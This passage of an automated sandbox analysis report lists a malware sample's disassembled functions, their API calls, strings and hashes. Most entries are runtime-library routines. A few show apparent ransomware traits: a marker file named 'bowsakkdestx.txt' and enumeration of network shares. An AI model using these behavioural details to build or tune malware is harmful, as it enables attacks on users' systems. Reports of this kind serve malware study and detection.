                                                                                                                                                                                                                                                                • Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
                                                                                                                                                                                                                                                                • Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___unDName.LIBCMT ref: 0043071B
                                                                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0043072E
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 0043074A
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0043075C
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0043076D
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 004307B6
                                                                                                                                                                                                                                                                  • Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 004307AF
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3704956918-0
                                                                                                                                                                                                                                                                • Opcode ID: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
                                                                                                                                                                                                                                                                • Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • timeGetTime.WINMM ref: 00411B1E
                                                                                                                                                                                                                                                                • timeGetTime.WINMM ref: 00411B29
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00411B5C
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
                                                                                                                                                                                                                                                                • Sleep.KERNEL32(00000064), ref: 00411B72
                                                                                                                                                                                                                                                                • timeGetTime.WINMM ref: 00411B78
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: MessageTimetime$Peek$DispatchSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3697694649-0
                                                                                                                                                                                                                                                                • Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
                                                                                                                                                                                                                                                                • Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __init_pointers.LIBCMT ref: 00425141
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
                                                                                                                                                                                                                                                                  • Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1
                                                                                                                                                                                                                                                                • __mtinitlocks.LIBCMT ref: 00425146
                                                                                                                                                                                                                                                                • __mtterm.LIBCMT ref: 0042514F
                                                                                                                                                                                                                                                                  • Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
                                                                                                                                                                                                                                                                  • Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
                                                                                                                                                                                                                                                                  • Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B
                                                                                                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 00425174
                                                                                                                                                                                                                                                                • __initptd.LIBCMT ref: 00425196
                                                                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 0042519D
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3567560977-0
                                                                                                                                                                                                                                                                • Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
                                                                                                                                                                                                                                                                • Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 0042594A
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00425970
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 00425989
                                                                                                                                                                                                                                                                • ___removelocaleref.LIBCMT ref: 00425998
                                                                                                                                                                                                                                                                • ___freetlocinfo.LIBCMT ref: 004259B1
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 004259C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 626533743-0
                                                                                                                                                                                                                                                                • Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
                                                                                                                                                                                                                                                                • Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___from_strstr_to_strchr.LIBCMT ref: 004507C3
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ___from_strstr_to_strchr
                                                                                                                                                                                                                                                                • String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
                                                                                                                                                                                                                                                                • API String ID: 601868998-2416195885
                                                                                                                                                                                                                                                                • Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
                                                                                                                                                                                                                                                                • Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: .\crypto\buffer\buffer.c$g9F
                                                                                                                                                                                                                                                                • API String ID: 2102423945-3653307630
                                                                                                                                                                                                                                                                • Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
                                                                                                                                                                                                                                                                • Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __getptd_noexit.LIBCMT ref: 004C5D3D
                                                                                                                                                                                                                                                                  • Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
                                                                                                                                                                                                                                                                  • Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
                                                                                                                                                                                                                                                                  • Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
                                                                                                                                                                                                                                                                  • Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
                                                                                                                                                                                                                                                                  • Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083
                                                                                                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 004C5D60
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 004C5D7E
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 004C5DCD
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
                                                                                                                                                                                                                                                                • String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
                                                                                                                                                                                                                                                                • API String ID: 3123740607-798102604
                                                                                                                                                                                                                                                                • Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _fprintf_memset
                                                                                                                                                                                                                                                                • String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
                                                                                                                                                                                                                                                                • API String ID: 3021507156-3399676524
                                                                                                                                                                                                                                                                • Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
                                                                                                                                                                                                                                                                • Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Path$AppendFolder
                                                                                                                                                                                                                                                                • String ID: bowsakkdestx.txt
                                                                                                                                                                                                                                                                • API String ID: 29327785-2616962270
                                                                                                                                                                                                                                                                • Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
                                                                                                                                                                                                                                                                • Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
                                                                                                                                                                                                                                                                • ShowWindow.USER32(00000000,00000000), ref: 0041BABE
                                                                                                                                                                                                                                                                • UpdateWindow.USER32(00000000), ref: 0041BAC5
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Window$CreateShowUpdate
                                                                                                                                                                                                                                                                • String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
                                                                                                                                                                                                                                                                • API String ID: 2944774295-3503800400
                                                                                                                                                                                                                                                                • Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
                                                                                                                                                                                                                                                                • Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
                                                                                                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00410C4C
                                                                                                                                                                                                                                                                • WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Enum$AllocGlobalOpenResource_memset
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 364255426-0
                                                                                                                                                                                                                                                                • Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
                                                                                                                                                                                                                                                                • Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON
